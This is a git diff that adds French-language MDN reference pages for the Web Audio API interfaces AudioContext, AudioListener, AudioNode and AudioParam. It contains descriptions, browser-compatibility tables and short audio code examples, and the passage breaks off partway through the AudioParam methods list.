+ <dd>Décode de façon asynchrone les données d'un fichier audio contenues dans un objet {{domxref("ArrayBuffer")}}. Dans ce cas, le ArrayBuffer est en général chargé depuis un attribut de réponse {{domxref("XMLHttpRequest")}} quand l'attribut <code>responseType</code> est <code>arraybuffer</code>. Cette méthode ne fonctionne que sur des fichiers complets, pas sur des fragments de fichiers.</dd>
+ <dt>{{domxref("AudioContext.resume()")}}</dt>
+ <dd>Reprend le défilement du temps dans un contexte audio où il a précédemment été suspendu.</dd>
+ <dt>{{domxref("AudioContext.suspend()")}}</dt>
+ <dd>Suspend le défilement du temps dans un contexte audio, empêchant de façon temporaire l'accès au hardware audio, et réduisant par là l'utilisation du CPU et de la batterie.</dd>
+</dl>
+
+<h2 id="Méthodes_obsolètes">Méthodes obsolètes</h2>
+
+<dl>
+ <dt>{{domxref("AudioContext.createJavaScriptNode()")}}</dt>
+ <dd>Crée un objet {{domxref("JavaScriptNode")}}, utilisé pour un traitement audio directement en JavaScript. Cette méthode est obsolète, et a été remplacée par {{domxref("AudioContext.createScriptProcessor()")}}.</dd>
+ <dt>{{domxref("AudioContext.createWaveTable()")}}</dt>
+ <dd>Crée un objet {{domxref("WaveTableNode")}}, utilisé pour définir une onde audio périodique. Cette méthode est obsolète, et a été remplacée par {{domxref("AudioContext.createPeriodicWave()")}}.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Déclaration basique d'un audio context :</p>
+
+<pre><code>var contexteAudio = new AudioContext;</code></pre>
+
+<p>Variante avec gestion de la compatibilité navigateur:</p>
+
+<pre><code>var AudioContext = window.AudioContext || window.webkitAudioContext;
+var contexteAudio = new AudioContext();
+
+var oscillatorNode = contexteAudio.createOscillator();
+var gainNode = contexteAudio.createGain();
+var finish = contexteAudio.destination;
+// etc.</code></pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#AudioContext-section', 'AudioNode')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(10.0)}}{{property_prefix("webkit")}}<br>
+    35</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(25.0)}} </td>
+   <td>{{CompatNo}}</td>
+   <td>15.0{{property_prefix("webkit")}}<br>
+    22</td>
+   <td>6.0{{property_prefix("webkit")}}</td>
+  </tr>
+  <tr>
+   <td><code>createStereoPanner()</code></td>
+   <td>{{CompatChrome(42.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(37.0)}} </td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>onstatechange</code>, <code>state</code>, <code>suspend()</code>, <code>resume()</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(40.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatSafari(8.0)}}</td>
+  </tr>
+  <tr>
+   <td><code>createConstantSource()</code></td>
+   <td>{{CompatChrome(56.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop(52)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera(43)}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Non préfixé</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android Webview</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(37.0)}} </td>
+   <td>2.2</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>createStereoPanner()</code></td>
+   <td>{{CompatChrome(42.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(42.0)}}</td>
+  </tr>
+  <tr>
+   <td><code>onstatechange</code>, <code>state</code>, <code>suspend()</code>, <code>resume()</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>createConstantSource()</code></td>
+   <td>{{CompatChrome(56.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(52)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(56.0)}}</td>
+  </tr>
+  <tr>
+   <td>Non préfixé</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOperaMobile(43)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web_Audio_API/Using_Web_Audio_API">Utiliser la Web Audio API</a></li>
+ <li>{{domxref("OfflineAudioContext")}}</li>
+</ul>
diff --git a/files/fr/web/api/audiolistener/index.html b/files/fr/web/api/audiolistener/index.html
new file mode 100644
index 0000000000..dd66fbcd98
--- /dev/null
+++ b/files/fr/web/api/audiolistener/index.html
@@ -0,0 +1,186 @@
+---
+title: AudioListener
+slug: Web/API/AudioListener
+tags:
+  - API
+  - Experimental
+  - Reference
+  - Web Audio API
+translation_of: Web/API/AudioListener
+---
+<p>{{APIRef("Web Audio API")}}</p>
+
+<p>L'interface <em>AudioListener </em>représente la position et l'orientation de l'unique personne écoutant la scène audio; elle est utilisée dans le cadre d'une <a href="/en-US/docs/Web/API/Web_Audio_API/Web_audio_spatialization_basics">spatialisation audio</a>. Tous les {{domxref ("PannerNode")}} sont spatialisés par rapport à l'objet <em>AudioListener </em>stocké dans la propriété {{domxref ("AudioContext.listener")}}.</p>
+
+<p><span id="result_box" lang="fr"><span class="hps">Il est important</span> <span class="hps">de noter qu'il n'y</span> <span class="hps">a qu'un seul</span> <span class="hps">auditeur</span> <span class="hps">par</span> <span class="alt-edited hps">contexte, et qu'il ne s'agit</span><span class="hps"> pas</span> d'<span class="atn hps">un {{domxref("AudioNode")}}.</span></span></p>
+
+<p><img alt="We see the position, velocity, up and front vectors of an AudioListener, with the up and front vectors at 90° each from the other" src="https://mdn.mozillademos.org/files/12652/listener.svg" style="height: 249px; width: 720px;"></p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Hérite des propriétés de son parent, </em><code>AudioNode</code>.</p>
+
+<div class="note">
+<p>Les valeurs de position, d'orientation, et du haut de la tête peuvent être définies et lues à l'aide de différentes syntaxes. Par exemple, l'accès se fait à l'aide de la propriété, <code>AudioListener.positionX</code>, tandis que la même propriété est définir à l'aide de <code>AudioListener.positionX.value</code>. C'est pourquoi ces valeurs ne sont pas marquées  en lecture seule, bien qu'elles apparaissent comme tel dans la spécification IDL.</p>
+</div>
+
+<dl>
+ <dt>{{domxref("AudioListener.positionX")}}</dt>
+ <dd>Position de l'auditeur avec des coordonnées cartésiennes selon la règle de la main droite. La valeur par défaut est 0.</dd>
+ <dt>{{domxref("AudioListener.positionY")}}</dt>
+ <dd>Position verticale de l'auditeur avec des coordonnées cartésiennes selon la règle de la main droite. La valeur par défaut est 0.</dd>
+ <dt>{{domxref("AudioListener.positionZ")}}</dt>
+ <dd>Position longitudinale (avant et arrière) de l'auditeur avec des coordonnées cartésiennes selon la règle de la main droite. La valeur par défaut est 0.</dd>
+ <dt>{{domxref("AudioListener.forwardX")}}</dt>
+ <dd>Position horizontale de l'orientation vers l'avant de l'auditeur avec le même système de coordonnées cartésiennnes que les valeurs de position (<code>positionX</code>, <code>positionY</code>, and <code>positionZ</code>). Les valeurs de direction vers l'avant et vers le haut sont indépendantes  linéairement l'une de l'autre. La valeur par défaut est 0.</dd>
+ <dt>{{domxref("AudioListener.forwardY")}}</dt>
+ <dd>Position verticale de l'orientation vers l'avant de l'auditeur avec le même système de coordonnées cartésiennnes que les valeurs de position (<code>positionX</code>, <code>positionY</code>, and <code>positionZ</code>). Les valeurs de direction vers l'avant et vers le haut sont indépendantes  linéairement l'une de l'autre. La valeur par défaut est 0.</dd>
+ <dt>{{domxref("AudioListener.forwardZ")}}</dt>
+ <dd>Position longitudinale (avant et arrière) de l'orientation vers l'avant de l'auditeur avec le même système de coordonnées cartésiennnes que les valeurs de position (<code>positionX</code>, <code>positionY</code>, and <code>positionZ</code>). Les valeurs de direction vers l'avant et vers le haut sont indépendantes linéairement l'une de l'autre. La valeur par défaut est 0.</dd>
+ <dt>{{domxref("AudioListener.upX")}}</dt>
+ <dd>Position horizontale du haut de la tête de l'auditeur avec le même système de coordonnées cartésiennnes que les valeurs de position (<code>positionX</code>, <code>positionY</code>, and <code>positionZ</code>). Les valeurs de direction vers l'avant et vers le haut sont indépendantes linéairement l'une de l'autre. La valeur par défaut est 0.</dd>
+ <dt>{{domxref("AudioListener.upY")}}</dt>
+ <dd>Position verticale du haut de la tête de l'auditeur avec le même système de coordonnées cartésiennnes que les valeurs de position (<code>positionX</code>, <code>positionY</code>, and <code>positionZ</code>). Les valeurs de direction vers l'avant et vers le haut sont indépendantes linéairement l'une de l'autre. La valeur par défaut est 0.</dd>
+ <dt>{{domxref("AudioListener.upZ")}}</dt>
+ <dd>Position longitudinale (avant et arrière) du haut de la tête de l'auditeur avec le même système de coordonnées cartésiennnes que les valeurs de position (<code>positionX</code>, <code>positionY</code>, and <code>positionZ</code>). Les valeurs de direction vers l'avant et vers le haut sont indépendantes linéairement l'une de l'autre. La valeur par défaut est 0.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>Hérite des propriétés de son parent, </em><code>AudioNode</code>.</p>
+
+<dl>
+ <dt>{{domxref("AudioListener.setOrientation()")}}</dt>
+ <dd><span id="result_box" lang="fr"><span class="hps">Définit</span> <span class="hps">l'orientation</span> <span class="hps">de l'auditeur.</span></span></dd>
+ <dt>{{domxref("AudioListener.setPosition()")}}</dt>
+ <dd>Définit la position de l'auditeur. Consulter {{anch("Deprecated features")}}  pour savoir pourquoi cette méthode est désormais obsolète.</dd>
+</dl>
+
+<h2 id="Fonctionnalités_obsolètes">Fonctionnalités obsolètes</h2>
+
+<dl>
+ <dt>{{domxref("AudioListener.dopplerFactor")}} {{obsolete_inline}}</dt>
+ <dd>Nombre flottant à double précision représentant la quantité de "pitch shift" à utiliser pour le rendu d'un <a href="http://en.wikipedia.org/wiki/Doppler_effect">effet doppler</a>.</dd>
+ <dt>{{domxref("AudioListener.speedOfSound")}} {{obsolete_inline}}</dt>
+ <dd>Nombre flottant à double précision représentant la vitesse du son, en <em>mètres par seconde</em>.</dd>
+</dl>
+
+<p>Dans une version précédente de la spécification, les propriétés <code>dopplerFactor</code> et <code>speedOfSound</code> et la méthode <code>setPosition()</code> lpouvaient être utilisés pour contrôler un effet doppler appliqué à un {{domxref("AudioBufferSourceNode")}} connecté en aval - ils pouvaient être transposés en fonction de la vitesse relative du {{domxref("PannerNode")}}, et de l'{{domxref("AudioListener")}}. Ces fonctionnalités soulevaient un certain nombre de problèmes :</p>
+
+<ul>
+ <li>Seuls les {{domxref("AudioBufferSourceNode")}} étaient transposés, pas les autres noeuds source.</li>
+ <li>Le comportement à adopter lorsqu'un {{domxref("AudioBufferSourceNode")}} était connecté à plusieurs {{domxref("PannerNode")}} n'était pas clair.</li>
+ <li>Comme la vélocité du panoramique et de l'auditeur n'étaient pas des {{domxref("AudioParam")}}, la modification du pitch ne pouvait pas être appliquée uniformément, ce qui provoquait des irrégularités dans le son.</li>
+</ul>
+
+<p>C'est la raison pour laquelle elles ont été supprimées.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>{{page("/en-US/docs/Web/API/AudioContext.createPanner","Example")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#AudioListener-section', 'AudioListener')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_navigateurs">Compatibilité navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{CompatChrome(10.0)}}{{property_prefix("webkit")}}<br>
+    {{CompatVersionUnknown}} (unprefixed)</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(25.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>6.0{{property_prefix("webkit")}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>position, forward, and up properties</td>
+   <td>{{CompatChrome(52.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>6.0{{property_prefix("webkit")}}</td>
+   <td>39</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome pour Androïd</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<br>
+    {{CompatVersionUnknown}} (unprefixed)</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>26.0</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(33.0)}}<br>
+    {{CompatVersionUnknown}} (unprefixed)</td>
+  </tr>
+  <tr>
+   <td>position, forward, and up properties</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(52.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>39</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(52.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Firefox supporte toujours les méthodes utilisées précédemment pour définir les valeurs de ces propriétés, à savoir <code>setPosition()</code> et <code>setOrientation()</code>.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Utiliser la Web Audio API</a></li>
+</ul>
diff --git a/files/fr/web/api/audionode/index.html b/files/fr/web/api/audionode/index.html
new file mode 100644
index 0000000000..13d36f8759
--- /dev/null
+++ b/files/fr/web/api/audionode/index.html
@@ -0,0 +1,198 @@
+---
+title: AudioNode
+slug: Web/API/AudioNode
+translation_of: Web/API/AudioNode
+---
+<p>{{ APIRef("Web Audio API") }}</p>
+
+<p>L'interface <strong><code>AudioNode</code></strong> est une interface générique pour représenter un module de traitement audio tel qu'une source audio {{HTMLElement("audio")}}, un élément {{HTMLElement("video")}}, un {{domxref("OscillatorNode")}}, une sortie audio, ou un module de traitement intermédiaire  (filtres {{domxref("BiquadFilterNode")}} ou {{domxref("ConvolverNode")}}), un contrôle de volume {{domxref("GainNode")}}.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<p><img alt="AudioNodes participating in an AudioContext create a audio routing graph." src="https://mdn.mozillademos.org/files/9713/WebAudioBasics.png" style="display: block; height: 230px; margin: 0px auto; width: 677px;"></p>
+
+<p>Un <code>AudioNode</code> a des entrées et sorties, chacune avec un certain nombre de <em>canaux</em>.<em> </em>Un <code>AudioNode</code> avec zero entrée et une ou plusieurs sorties est appelée un <em> noeud source</em>. Le traitement exact varie d'un <code>AudioNode</code> à l'autre; en général un noeud lit l'entrée, réalise un traitement, et génère de nouvelles valeurs pour la sortie, ou laisse simplement l'entrée traverser (par exemple dans le cas de l'{{domxref("AnalyserNode")}}, où le résultat du traitment du traitement est accessible à part).</p>
+
+<p>Plusieurs noeuds peuvent être reliés dans un <em>graphe de traitement</em>. Un tel graphe est contenu dans un {{domxref("AudioContext")}}. Chaque <code>AudioNode</code> fait partie d'exactement un contexte. Les noeuds de traitement héritent des  propriétés et méthodse d'<code>AudioNode</code>, mais définissent aussi leurs propres fonctionnalités par dessus. Pour plus de détails, voir les pages individuelles liées sur la page d'accueil <a href="/en-US/docs/Web/API/Web_Audio_API">Web Audio API</a>.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Un <code>AudioNode</code> peut être la cible d'évènements, et implémente donc l'interface {{domxref("EventTarget")}}.</p>
+</div>
+
+<h2 id="Propriétés" style="">Propriétés</h2>
+
+<dl>
+ <dt>{{domxref("AudioNode.context")}} {{readonlyInline}}</dt>
+ <dd>Renvoie le {{domxref("AudioContext")}} associé, c'est-à-dire l'objet représentant le graphe de traitement dont le noeud fait partie.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("AudioNode.numberOfInputs")}} {{readonlyInline}}</dt>
+ <dd>Renvoie le nombre d'entrées d'un noeud. Les noeuds source sont des noeuds dont la propriété <code>numberOfInputs</code> a la valeur <code>0</code>.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("AudioNode.numberOfOutputs")}} {{readonlyInline}}</dt>
+ <dd>Renvoie le nombre de sorties d'un noeud. Les noeuds de destination — comme {{ domxref("AudioDestinationNode") }} — sont des noeuds dont cette propriété a la valeur <code>0</code>.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("AudioNode.channelCount")}}</dt>
+ <dd>Représente un entier utilisé pour déterminer le nombre de canaux lors d'une <a href="/fr/docs/Web/API/Web_Audio_API/Basic_concepts_behind_Web_Audio_API#Conversion_ascendante_et_descendante">conversion ascendante ou descendante</a>. Son usage et sa définition précise dépendent de la valeur de {{domxref("AudioNode.channelCountMode")}}.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("AudioNode.channelCountMode")}}</dt>
+ <dd>Représente une liste énumérative qui décrit la façon dont les canaux doivent être connectés entre les entrées et les sorties.</dd>
+ <dt>{{domxref("AudioNode.channelInterpretation")}}</dt>
+ <dd>Représente une liste énumérative qui décrit la signification des canaux. Cette interprétation définit la façon dont la <a href="/fr/docs/Web/API/Web_Audio_API/Basic_concepts_behind_Web_Audio_API#Conversion_ascendante_et_descendante">conversion ascendante ou descendante</a> est réalisée. Les valeurs possibles sont <code>"speakers"</code> ou <code>"discrete"</code>.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>Implémente aussi les méthodes de l'interface </em>{{domxref("EventTarget")}}.</p>
+
+<dl>
+ <dt>{{domxref("AudioNode.connect()")}}</dt>
+ <dd>Permet de connecter une sortie du noeud à l'entrée d'un autre noeud, soit comme données audio, soir comme valeur d'un {{domxref("AudioParam")}}.</dd>
+ <dt>{{domxref("AudioNode.disconnect()")}}</dt>
+ <dd>Permet de déconnecter le noeud d'un autre noeud auquel il est déjà connecté.</dd>
+</dl>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Ce simple extrait de code illustre la creation de quelques noeuds audio, et la façon dont les propriétés et méthodes <code>AudioNode</code> peuvent être utilisées. Vous pouvez trouver d'autres exemples sur n'importe lequel des exemples liés sur la page <a href="/en-US/docs/Web/API/Web_Audio_API">Web Audio API</a> (par exemple <a href="https://github.com/mdn/violent-theremin">Violent Theremin</a>.)<span class="p"> </span></p>
+
+<pre class="brush: js;highlight[8,9,11,12,13,14]">var AudioContext = window.AudioContext || window.webkitAudioContext;
+
+var audioCtx = new AudioContext();
+
+var oscillator = audioCtx.createOscillator();
+var gainNode = audioCtx.createGain();
+
+oscillator.connect(gainNode);
+gainNode.connect(audioCtx.destination);
+
+oscillator.context;
+oscillator.numberOfInputs;
+oscillator.numberOfOutputs;
+oscillator.channelCount;</pre>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#the-audionode-interface', 'AudioNode')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_navigateur">Compatibilité navigateur</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(10.0)}}{{property_prefix("webkit")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(25.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>15.0{{property_prefix("webkit")}}<br>
+    22 (unprefixed)</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>channelCount</code> <code>channelCountMode</code></td>
+   <td>{{CompatVersionUnknown}} {{property_prefix("webkit")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>connect</code><code>(AudioParam)</code></td>
+   <td>{{CompatVersionUnknown}} {{property_prefix("webkit")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>25.0</td>
+   <td>1.2</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>channelCount</code><br>
+    <code>channelCountMode</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>connect</code><code>(AudioParam)</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Utiliser la Web Audio API</a></li>
+</ul>
diff --git a/files/fr/web/api/audioparam/index.html b/files/fr/web/api/audioparam/index.html
new file mode 100644
index 0000000000..d718ac2ce4
--- /dev/null
+++ b/files/fr/web/api/audioparam/index.html
@@ -0,0 +1,219 @@
+---
+title: AudioParam
+slug: Web/API/AudioParam
+tags:
+  - API
+  - Experimental
+  - Reference
+  - Web Audio API
+translation_of: Web/API/AudioParam
+---
+<p>{{APIRef("Web Audio API")}}</p>
+
+<p>L'interface <strong><code>AudioParam</code></strong> représente un paramètre audio, en général un paramètre d'un {{domxref ("AudioNode")}} tel qu'un {{ domxref("GainNode.gain") }}. On peut lui donner une valeur spécifique ou définir une variation de valeur qui intervient à un certain moment et selon un certain fonctionnement.</p>
+
+<p>Il y a deux sortes de <code>AudioParam</code>, <em>a-rate</em> et <em>k-rate</em> :</p>
+
+<ul>
+ <li>Un <code>AudioParam</code> <em>a-rate</em> réévalue la valeur du paramètre audio pour chaque trame d'échantillons du signal audio.</li>
+ <li>Un <code>AudioParam</code> <em>k-rate </em>utilise la même valeur de paramètre audio initial pour l'ensemble du bloc traité, c'est-à-dire 128 échantillons.</li>
+</ul>
+
+<p>Chaque {{domxref ("AudioNode")}} définit lequel de ses paramètres sont <em>a-rate</em> ou <em>k-rate</em>.</p>
+
+<p>Chaque <code>AudioParam</code> a une liste d'événements, initialement vide, qui définit quand et comment les valeurs changent. Si cette liste n'est pas vide, les modifications faites directement avec <code>AudioParam.value</code> sont ignorées. Cette liste d'événements permet de planifier les changements qui doivent se produire à des moments très précis à l'aide de courbes d'automatisation chronologiques arbitraires. Les informations de temps utilisées sont celles définies par {{domxref ("AudioContext.currentTime")}}.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Hérite des propriétés de son parent, <code>AudioNode</code>.</em></p>
+
+<dl>
+ <dt>{{domxref("AudioParam.defaultValue")}} {{readonlyInline}}</dt>
+ <dd>Volume initial tel que défini par l'{{domxref ("AudioNode")}} qui crée l'<code>AudioParam</code>.</dd>
+ <dt>{{domxref("AudioParam.maxValue")}} {{readonlyInline}}</dt>
+ <dd>Valeur maximum de la plage nominale (effective). </dd>
+ <dt>{{domxref("AudioParam.minValue")}} {{readonlyinline}}</dt>
+ <dd>Valeur minimum de la plage nominale (effective). </dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("AudioParam.value")}}</dt>
+ <dd>Volume, exprimé sous forme de nombre flottant, initialement défini par la valeur de <code>AudioParam.defaultValue</code>. Même s'il peut être modifié, toute modification qui a lieu alors que des événements d'automatisation sont prévus - événements programmés en utilisant les méthodes de la <code>AudioParam</code> - est ignorée, sans lever aucune exception</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>Hérite des propriétés de son parent, AudioNode.</em></p>
+
+<dl>
+ <dt>{{domxref("AudioParam.setValueAtTime()")}}</dt>
+ <dd>Planifie un changement de la valeur d' <code>AudioParam</code> à un moment précis, <code>startTime</code>, tel que mesuré par rapport à {{domxref ("AudioContext.currentTime")}}. La nouvelle valeur est passée en argument.</dd>
+ <dt>{{domxref("AudioParam.linearRampToValueAtTime()")}}</dt>
+ <dd>Planifie un changement de la valeur d'<code>AudioParam</code>. Le changement commence à l'heure prévue pour l'événement précédent, évolue selon une rampe linéaire jusqu'à la nouvelle valeur passée dans l'argument <code>value</code>, et atteint la nouvelle valeur à l'heure indiquée par le paramètre <code>endTime</code>.</dd>
+ <dt>{{domxref("AudioParam.exponentialRampToValueAtTime()")}}</dt>
